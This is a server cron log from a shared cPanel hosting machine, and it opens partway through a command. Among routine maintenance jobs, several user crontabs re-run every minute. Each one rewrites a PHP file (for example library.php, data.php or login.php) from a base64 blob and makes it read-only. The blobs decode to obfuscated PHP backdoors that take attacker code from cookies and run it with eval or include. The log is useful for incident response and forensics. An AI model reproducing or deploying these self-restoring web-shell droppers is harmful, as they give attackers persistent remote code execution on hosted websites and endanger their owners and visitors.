"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:30:01 medusa CROND[855]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 04:30:01 medusa CROND[861]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  2 04:30:01 medusa CROND[854]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 04:30:01 medusa CROND[875]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:30:01 medusa CROND[843]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:31:01 medusa CROND[17967]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:31:01 medusa CROND[17968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:31:01 medusa CROND[17969]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:31:01 medusa CROND[17972]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:31:01 medusa CROND[17973]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:31:01 medusa CROND[17975]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:31:01 medusa CROND[17976]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:31:01 medusa CROND[17978]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:31:01 medusa CROND[17983]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:31:01 medusa CROND[17985]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:31:01 medusa CROND[17993]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:31:01 medusa CROND[17995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:31:01 medusa CROND[17992]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:32:01 medusa CROND[3231]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:32:01 medusa CROND[3232]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:32:01 medusa CROND[3233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:32:01 medusa CROND[3234]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:32:01 medusa CROND[3235]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:32:01 medusa CROND[3238]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:32:01 medusa CROND[3239]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:32:01 medusa CROND[3240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:32:01 medusa CROND[3246]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:32:01 medusa CROND[3245]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:32:01 medusa CROND[3248]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:32:01 medusa CROND[3251]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:32:01 medusa CROND[3260]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:33:02 medusa CROND[21145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:33:02 medusa CROND[21146]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:33:02 medusa CROND[21147]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:33:02 medusa CROND[21148]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:33:02 medusa CROND[21149]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
